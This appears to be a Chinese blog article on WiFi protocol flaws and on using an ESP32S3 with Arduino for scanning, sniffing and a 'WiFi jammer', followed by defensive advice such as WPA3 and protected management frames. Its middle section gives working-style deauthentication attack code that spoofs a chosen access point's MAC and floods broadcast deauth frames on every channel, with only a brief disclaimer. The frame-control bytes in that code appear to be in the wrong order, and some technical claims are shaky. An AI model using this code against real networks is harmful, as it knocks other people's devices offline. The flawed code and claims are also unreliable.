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预防WIFI攻击，保证网络安全

news 来源：原创 2025/4/21 15:53:16

文章总结（帮你们节约时间）

WiFi协议存在多种安全漏洞，从去认证攻击到KRACK和PMKID攻击，这些都源于协议设计中的历史遗留问题。
ESP32S3微控制器结合Arduino环境，成为强大的WiFi安全研究平台，可用于网络扫描、监控和安全测试。
通过升级到WPA3、启用受保护管理帧(PMF)和采用企业级认证方案，可以有效防御大多数WiFi攻击。
网络安全知识应用于保护自己的网络和合法安全研究，而非干扰他人网络，这既是技术伦理也是法律要求。

引言

想象一下，你正在咖啡厅享受网络冲浪，突然间——啪！连接断了。是网络抽风？还是有人在背后搞鬼？今天，我们将揭开WiFi的神秘面纱，探索那些不为人知的漏洞，并用ESP32S3这把"瑞士军刀"搭配Arduino环境来演示WiFi世界的脆弱性。这不是教你捣乱的指南，而是一次网络安全意识的觉醒之旅！

WiFi协议的演进与漏洞

WiFi技术，这个现代生活的数字氧气，已从最初的802.11标准发展成今天的复杂生态系统。就像房子从茅草屋变成摩天大楼，可安全性呢？每一代协议都试图弥补前代的缺陷，但新的问题总会出现。

IEEE 802.11协议族大家庭详解

802.11（原始标准）：1997年问世，最高速率仅2Mbps，使用2.4GHz频段。这就像数字通信世界的石器时代，简单但功能有限。
802.11b：1999年出现，速度提升到11Mbps，仍然使用2.4GHz频段。这是WiFi开始普及的重要一步，就像自行车取代了步行。
802.11a：同样在1999年发布，但选择了5GHz频段，提供高达54Mbps的速度。然而，由于高频信号穿墙能力弱和早期设备成本高，它并未立即流行。如同一位有才华但不被理解的艺术家。
802.11g：2003年的明星，结合了802.11b的覆盖范围和802.11a的速度（54Mbps），依然在2.4GHz频段工作。这次融合让WiFi迎来了第一次真正的普及浪潮。
802.11n (WiFi 4)：2009年标准化，引入了MIMO（多输入多输出）技术和信道绑定，理论速度飙升至600Mbps，同时支持2.4GHz和5GHz双频段。这就像给汽车安装了涡轮增压器。
802.11ac (WiFi 5)：2014年推出，专注5GHz频段，通过更宽的信道、更高阶的调制方式和多用户MIMO，速度最高可达6.9Gbps。这是WiFi世界的超级跑车时代。
802.11ax (WiFi 6)：最新的标准，不仅追求速度（最高可达9.6Gbps），更注重在多设备环境下的效率。引入了OFDMA和TWT等技术，就像交通系统从单纯提高车速转向改善道路规划和交通灯控制。

漏洞解剖：WiFi的阿喀琉斯之踵

1. 去认证攻击(Deauthentication Attack)

WiFi协议中最致命的设计缺陷之一。在正常情况下，当设备想要断开与接入点(AP)的连接时，会发送去认证帧。问题是，这些管理帧是不加密的，且任何设备都可以发送这些帧！攻击者可以伪造去认证帧，冒充接入点或客户端，强制断开连接。

这就像在一个拥挤的派对上，任何人都可以模仿主人的声音喊："派对结束了，请所有人离开！"而且无论真正的主人说什么，客人们都会相信那个喊叫的声音。

去认证攻击的技术细节：

帧类型：管理帧(Management Frame)
子类型：去认证(Deauthentication)
原因码：可以是任意值，常用1（“unspecified reason”）
目标：可以针对特定设备或广播攻击所有设备

2. KRACK (Key Reinstallation Attack)

2017年震惊安全界的漏洞，它攻击WPA2协议中的4次握手过程。当客户端收到第3条消息时，会安装密钥并重置计数器。但如果攻击者拦截并重放这条消息，客户端会重新安装相同的密钥并重置计数器，这破坏了加密协议的随机性，使得理论上可以恢复加密数据。

这就像锁匠给你一把新锁，但因为安装过程中的失误，导致锁的内部计数器被重置，使得原本应该永不重复的钥匙序列开始循环使用，从而降低了安全性。

KRACK的技术要点：

针对协议实现而非密码强度
影响所有正确实现WPA2的设备
不需要知道WiFi密码
可能导致数据包重放、解密和伪造

3. PMKID攻击

2018年发现的漏洞，针对WPA/WPA2个人版（使用预共享密钥PSK的网络）。攻击者可以捕获单个EAPOL帧中的PMKID（预主密钥标识符），然后离线破解以获取密码。这比传统的4次握手捕获方法更简单，因为不需要等待用户连接。

想象一下，锁匠不小心在锁的外部刻上了密码的哈希值，虽然不是直接的密码，但给了窃贼一个可以在家慢慢破解的线索。

PMKID攻击的特点：

只需捕获一个帧
不需要用户在线
使用字典或暴力破解方法离线计算
特别影响企业路由器和接入点

4. Fragmentation Attack（分片攻击）

通过操纵WiFi帧分片功能，攻击者可以欺骗接收方重组数据，从而注入恶意内容。这类似于一个狡猾的邮递员，在传递分散的信件碎片时悄悄替换了其中几页。

5. Dragonblood漏洞

即使是最新的WPA3协议也不能幸免。2019年发现的Dragonblood系列漏洞影响了WPA3的SAE（同步认证和密钥建立）握手过程，可能导致密码泄露和拒绝服务攻击。

ESP32S3的登场：袖珍威力

这颗小小的芯片，价格不到50元，却能制造网络动荡。为什么？因为它拥有：

强大的双核Xtensa LX7处理器，最高达到240MHz
集成2.4GHz WiFi和蓝牙5.0
硬件加速的加密单元
丰富的GPIO和外设接口
与Arduino环境完美兼容

这不是普通的微控制器，而是口袋里的网络安全实验室！ESP32S3相比前代ESP32，提供了更强的处理能力和更多的RAM（高达512KB），这让它能够同时处理多个复杂的WiFi操作，完美适合作为网络安全测试的平台。

ESP32S3与Arduino的完美结合

Espressif官方支持在Arduino IDE中开发ESP32系列，这使得即使是编程新手也能快速上手。通过简单的板管理器安装，你就能获得强大的库支持，包括：

WiFi库：轻松控制WiFi连接和操作
ESP32 BLE库：蓝牙功能开发
SPI、I2C等通信库：连接各种传感器和显示屏
ESP32专用功能库：访问ESP32特有的高级功能

打造WiFi干扰器：技术拆解

现在，让我们实际动手，利用ESP32S3在Arduino环境下创建一个WiFi分析和测试工具。

硬件准备

ESP32S3开发板（推荐ESP32-S3-DevKitC-1或XIAO ESP32S3）
外置天线（可选，但会提升信号范围）
USB数据线
小型OLED显示屏（可选，用于实时显示信息）
电池组（可选，用于便携操作）

软件环境配置

Arduino IDE安装与设置：

2. 下载并安装最新版Arduino IDE
3. 打开首选项，添加ESP32板管理器URL：
   https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
4. 从板管理器安装ESP32支持包（确保选择包含S3支持的最新版本）
5. 选择正确的开发板型号和端口

必要库安装：

工具 -> 管理库 -> 搜索并安装：
- "ESP32 BLE Arduino"
- "WiFi"（Arduino内置）
- "SSD1306"（如果使用OLED显示屏）

WiFi扫描与分析

在开始任何更高级的操作前，让我们先创建一个WiFi扫描器，了解周围的网络环境。这是一个基础但强大的工具，可以显示附近的接入点、信号强度、加密类型和信道。

#include <WiFi.h>

void setup() {
  Serial.begin(115200);
  
  // 设置WiFi为扫描模式
  WiFi.mode(WIFI_STA);
  WiFi.disconnect();
  delay(100);
  
  Serial.println("WiFi扫描开始...");
}

void loop() {
  int networkCount = WiFi.scanNetworks();
  
  if (networkCount == 0) {
    Serial.println("没有发现WiFi网络");
  } else {
    Serial.print("发现");
    Serial.print(networkCount);
    Serial.println("个网络:");
    
    for (int i = 0; i < networkCount; ++i) {
      // 打印SSID和RSSI
      Serial.print(i + 1);
      Serial.print(": ");
      Serial.print(WiFi.SSID(i));
      Serial.print(" (");
      Serial.print(WiFi.RSSI(i));
      Serial.print("dBm) ");
      
      // 打印加密类型
      Serial.print("加密类型: ");
      switch(WiFi.encryptionType(i)) {
        case WIFI_AUTH_OPEN:
          Serial.print("开放");
          break;
        case WIFI_AUTH_WEP:
          Serial.print("WEP");
          break;
        case WIFI_AUTH_WPA_PSK:
          Serial.print("WPA-PSK");
          break;
        case WIFI_AUTH_WPA2_PSK:
          Serial.print("WPA2-PSK");
          break;
        case WIFI_AUTH_WPA_WPA2_PSK:
          Serial.print("WPA/WPA2-PSK");
          break;
        case WIFI_AUTH_WPA2_ENTERPRISE:
          Serial.print("WPA2-企业版");
          break;
        case WIFI_AUTH_WPA3_PSK:
          Serial.print("WPA3-PSK");
          break;
        case WIFI_AUTH_WPA2_WPA3_PSK:
          Serial.print("WPA2/WPA3-PSK");
          break;
        default:
          Serial.print("未知");
      }
      
      // 打印信道
      Serial.print(" 信道: ");
      Serial.println(WiFi.channel(i));
    }
  }
  
  // 删除扫描结果
  WiFi.scanDelete();
  
  // 每10秒扫描一次
  delay(10000);
}

这段代码会每10秒扫描一次周围的WiFi网络，并输出详细信息。这是做任何网络安全测试的第一步，让你了解战场环境。

实现去认证攻击（教育目的）

接下来，我们将实现一个基础的去认证帧发送器。这需要使用ESP32原生API，因为Arduino的WiFi库没有提供这么底层的功能。

#include "esp_wifi.h"
#include "esp_wifi_types.h"
#include <Arduino.h>

// 目标AP的MAC地址，格式化为字节数组
uint8_t targetAP[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; // 替换为实际目标AP的MAC
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // 广播地址

// 去认证帧结构
typedef struct {
  uint8_t type;          // 类型和子类型
  uint8_t subtype;
  uint16_t duration;     // 持续时间
  uint8_t receiver[6];   // 接收方MAC
  uint8_t transmitter[6]; // 发送方MAC
  uint8_t destination[6]; // 目标MAC
  uint16_t sequence;     // 序列号
  uint16_t reason;       // 去认证原因码
} __attribute__((packed)) DeauthFrame;

DeauthFrame deauthFrame;

void setup() {
  Serial.begin(115200);
  Serial.println("ESP32S3 WiFi测试工具启动");
  
  // 初始化WiFi
  wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  esp_wifi_init(&cfg);
  esp_wifi_set_storage(WIFI_STORAGE_RAM);
  esp_wifi_set_mode(WIFI_MODE_STA);
  esp_wifi_start();
  
  // 设置为监听模式
  esp_wifi_set_promiscuous(true);
  
  // 准备去认证帧
  prepareDeauthFrame();
  
  Serial.println("开始信道轮询...");
}

void prepareDeauthFrame() {
  // 填充去认证帧
  deauthFrame.type = 0x00;
  deauthFrame.subtype = 0xC0; // 去认证
  deauthFrame.duration = 0x0000;
  
  // 接收方为广播
  memcpy(deauthFrame.receiver, broadcast, 6);
  
  // 发送方为目标AP的MAC
  memcpy(deauthFrame.transmitter, targetAP, 6);
  
  // 目标同样为目标AP的MAC
  memcpy(deauthFrame.destination, targetAP, 6);
  
  deauthFrame.sequence = 0x0000;
  deauthFrame.reason = 0x0001; // 原因码1："unspecified reason"
}

void loop() {
  // 轮询所有WiFi信道
  for (int channel = 1; channel <= 13; channel++) {
    // 设置当前信道
    esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
    Serial.print("当前信道: ");
    Serial.println(channel);
    
    // 发送多个去认证帧
    for (int i = 0; i < 20; i++) {
      esp_wifi_80211_tx(WIFI_IF_STA, &deauthFrame, sizeof(DeauthFrame), false);
      delay(1);
    }
    
    // 稍作延迟
    delay(100);
  }
}

注意：此代码仅供学习WiFi协议和安全机制，不应用于实际干扰他人网络。

高级版本：带显示屏和按钮控制的WiFi分析工具

让我们更进一步，制作一个完整的WiFi分析工具，具有OLED显示界面和按钮控制：

#include <WiFi.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include "esp_wifi.h"

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET    -1

// 按钮定义
#define BUTTON_UP     12
#define BUTTON_DOWN   14
#define BUTTON_SELECT 27

// 显示屏对象
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);

// 存储扫描的网络
#define MAX_NETWORKS 10
String networks[MAX_NETWORKS];
int signalStrength[MAX_NETWORKS];
int securityType[MAX_NETWORKS];
int networkChannels[MAX_NETWORKS];
int networkCount = 0;

// 界面控制
int menuPosition = 0;
int currentPage = 0; // 0: 扫描, 1: 监控, 2: 测试模式
String menuItems[] = {"扫描网络", "监控模式", "测试模式"};

// 选中的网络索引
int selectedNetwork = 0;

void setup() {
  Serial.begin(115200);
  
  // 设置按钮
  pinMode(BUTTON_UP, INPUT_PULLUP);
  pinMode(BUTTON_DOWN, INPUT_PULLUP);
  pinMode(BUTTON_SELECT, INPUT_PULLUP);
  
  // 初始化OLED
  if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
    Serial.println(F("SSD1306初始化失败"));
    for(;;);
  }
  display.clearDisplay();
  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  display.setCursor(0, 0);
  display.println("WiFi分析工具");
  display.println("初始化...");
  display.display();
  
  // 设置WiFi
  WiFi.mode(WIFI_STA);
  WiFi.disconnect();
  delay(100);
  
  // 初始化完成
  display.clearDisplay();
  drawMenu();
}

void loop() {
  // 检查按钮
  checkButtons();
  
  // 根据当前页面执行功能
  switch(currentPage) {
    case 0:
      if(millis() % 10000 == 0) { // 每10秒扫描一次
        scanNetworks();
        drawNetworkList();
      }
      break;
    case 1:
      monitorNetwork(selectedNetwork);
      break;
    case 2:
      testMode();
      break;
  }
  
  delay(100);
}

void checkButtons() {
  if(digitalRead(BUTTON_UP) == LOW) {
    if(currentPage == 0) {
      menuPosition = (menuPosition > 0) ? menuPosition - 1 : 2;
      drawMenu();
    } else if(currentPage == 1) {
      selectedNetwork = (selectedNetwork > 0) ? selectedNetwork - 1 : networkCount - 1;
      drawNetworkList();
    }
    delay(200); // 防抖
  }
  
  if(digitalRead(BUTTON_DOWN) == LOW) {
    if(currentPage == 0) {
      menuPosition = (menuPosition < 2) ? menuPosition + 1 : 0;
      drawMenu();
    } else if(currentPage == 1) {
      selectedNetwork = (selectedNetwork < networkCount - 1) ? selectedNetwork + 1 : 0;
      drawNetworkList();
    }
    delay(200); // 防抖
  }
  
  if(digitalRead(BUTTON_SELECT) == LOW) {
    if(currentPage == 0) {
      currentPage = menuPosition + 1;
      if(currentPage == 1) {
        scanNetworks();
        drawNetworkList();
      } else if(currentPage == 2) {
        display.clearDisplay();
        display.setCursor(0, 0);
        display.println("测试模式");
        display.println("按SELECT返回");
        display.display();
      }
    } else {
      currentPage = 0;
      drawMenu();
    }
    delay(200); // 防抖
  }
}

void drawMenu() {
  display.clearDisplay();
  display.setCursor(0, 0);
  display.println("WiFi分析工具");
  display.println("------------");
  
  for(int i = 0; i < 3; i++) {
    if(i == menuPosition) {
      display.print("> ");
    } else {
      display.print("  ");
    }
    display.println(menuItems[i]);
  }
  
  display.display();
}

void scanNetworks() {
  display.clearDisplay();
  display.setCursor(0, 0);
  display.println("正在扫描...");
  display.display();
  
  networkCount = WiFi.scanNetworks();
  networkCount = min(networkCount, MAX_NETWORKS);
  
  for(int i = 0; i < networkCount; i++) {
    networks[i] = WiFi.SSID(i);
    signalStrength[i] = WiFi.RSSI(i);
    securityType[i] = WiFi.encryptionType(i);
    networkChannels[i] = WiFi.channel(i);
  }
  
  WiFi.scanDelete();
}

void drawNetworkList() {
  display.clearDisplay();
  display.setCursor(0, 0);
  display.println("发现的网络:");
  
  for(int i = 0; i < min(5, networkCount); i++) {
    int displayIndex = (selectedNetwork/5)*5 + i;
    if(displayIndex >= networkCount) break;
    
    if(displayIndex == selectedNetwork) {
      display.print("> ");
    } else {
      display.print("  ");
    }
    
    display.print(networks[displayIndex]);
    display.print(" ");
    display.print(signalStrength[displayIndex]);
    display.println("dBm");
  }
  
  display.display();
}

void monitorNetwork(int index) {
  if(index >= networkCount) return;
  
  display.clearDisplay();
  display.setCursor(0, 0);
  display.println("网络详情:");
  display.println("------------");
  display.print("SSID: ");
  display.println(networks[index]);
  display.print("信号: ");
  display.print(signalStrength[index]);
  display.println(" dBm");
  display.print("信道: ");
  display.println(networkChannels[index]);
  display.print("安全: ");
  
  switch(securityType[index]) {
    case WIFI_AUTH_OPEN:
      display.println("开放");
      break;
    case WIFI_AUTH_WEP:
      display.println("WEP");
      break;
    case WIFI_AUTH_WPA_PSK:
      display.println("WPA");
      break;
    case WIFI_AUTH_WPA2_PSK:
      display.println("WPA2");
      break;
    case WIFI_AUTH_WPA_WPA2_PSK:
      display.println("WPA+WPA2");
      break;
    case WIFI_AUTH_WPA2_ENTERPRISE:
      display.println("企业版");
      break;
    default:
      display.println("未知");
  }
  
  display.println("\n按SELECT返回");
  display.display();
}

void testMode() {
  // 自定义测试模式代码
  if(digitalRead(BUTTON_UP) == LOW && digitalRead(BUTTON_DOWN) == LOW) {
    display.clearDisplay();
    display.setCursor(0, 0);
    display.println("信道扫描中...");
    display.display();
    
    for(int ch = 1; ch <= 13; ch++) {
      esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
      display.clearDisplay();
      display.setCursor(0, 0);
      display.println("当前信道:");
      display.setTextSize(2);
      display.setCursor(40, 20);
      display.print(ch);
      display.setTextSize(1);
      display.setCursor(0, 50);
      display.println("按SELECT返回");
      display.display();
      delay(500);
    }
  }
}

防御之道：如何保护你的无线网络

如果WiFi这么脆弱，我们该如何保护自己？以下是几种有效的防御策略：

1. 升级到WPA3和启用PMF

WPA3协议引入了多项安全改进，包括：

SAE (Simultaneous Authentication of Equals)：替代了WPA2中易受攻击的4次握手过程
前向保密：即使密码被破解，也无法解密之前捕获的流量
加强的密码保护：更好地抵抗离线字典攻击

更重要的是，启用PMF (Protected Management Frames)，这是WPA3的必要组成部分，但在支持WPA2的设备上也可以单独启用：

在路由器/AP设置中：
1. 安全性 -> WPA2/WPA3-Personal
2. 启用"受保护的管理帧" (PMF)
   * 如可选，设为"必需"

2. 企业级认证方案

对于公司网络，WPA2/WPA3-Enterprise提供了更强大的保护：

每个用户使用独立的认证凭证
支持多种认证方法(EAP-TLS, PEAP等)
集中式用户管理和吊销
应用RADIUS服务器进行身份验证

3. 强网络配置的最佳实践

更改默认管理密码：路由器管理界面的默认密码是最常见的入侵点
使用复杂的WiFi密码：至少16字符，包含数字、大小写字母和特殊符号
定期更新固件：路由器和接入点的安全补丁非常重要
启用客户端隔离：防止连接到同一网络的设备互相访问
关闭WPS功能：WiFi保护设置常常包含漏洞
设置访客网络：为访客提供单独的网络，与主网络隔离
MAC地址过滤：虽然可以被绕过，但提供了额外的安全层

4. 入侵检测系统

家庭用户可以考虑使用支持入侵检测的高级路由器固件，如：

DD-WRT：开源路由器固件，支持高级安全功能
OpenWrt：灵活的嵌入式Linux发行版，可添加安全模块
专用设备：如Bitdefender Box或Firewalla

5. 无线网络监控

定期使用ESP32S3制作的WiFi分析工具监控自己的网络环境，识别异常情况：

未授权的接入点
异常的信号强度变化
可疑的管理帧泛滥
不明来源的去认证攻击

ESP32S3与网络安全研究的更多可能性

除了我们已经讨论的基本功能，ESP32S3还可以用于更多复杂的网络安全研究，如：

1. 被动监听与流量分析

通过将ESP32S3设置为监听模式，可以捕获并分析周围的WiFi流量，例如：

#include "esp_wifi.h"
#include "esp_wifi_types.h"
#include <Arduino.h>

// WiFi帧接收回调
void promiscuousCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  // 仅处理MGMT帧
  if (type != WIFI_PKT_MGMT) return;
  
  const wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf;
  const uint8_t *payload = packet->payload;
  
  // 分析帧类型
  uint8_t frameControl = payload[0];
  uint8_t frameType = (frameControl & 0x0C) >> 2;
  uint8_t frameSubType = (frameControl & 0xF0) >> 4;
  
  if (frameType == 0 && frameSubType == 8) { // Beacon帧
    Serial.println("发现Beacon帧");
    // 提取SSID (简化代码，实际需要更多处理)
    int ssidLength = payload[37];
    char ssid[33] = {0}; // 确保有足够空间+终止符
    if (ssidLength > 0 && ssidLength <= 32) {
      memcpy(ssid, &payload[38], ssidLength);
      Serial.print("SSID: ");
      Serial.println(ssid);
    }
  }
}

void setup() {
  Serial.begin(115200);
  
  // 初始化WiFi
  wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  esp_wifi_init(&cfg);
  esp_wifi_set_storage(WIFI_STORAGE_RAM);
  esp_wifi_set_mode(WIFI_MODE_NULL);
  esp_wifi_start();
  
  // 设置监听模式
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(&promiscuousCallback);
  
  // 设置初始信道
  esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
  
  Serial.println("监听模式已启动");
}

void loop() {
  // 每秒切换信道
  static int channel = 1;
  channel = (channel % 13) + 1;
  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  Serial.print("当前信道: ");
  Serial.println(channel);
  delay(1000);
}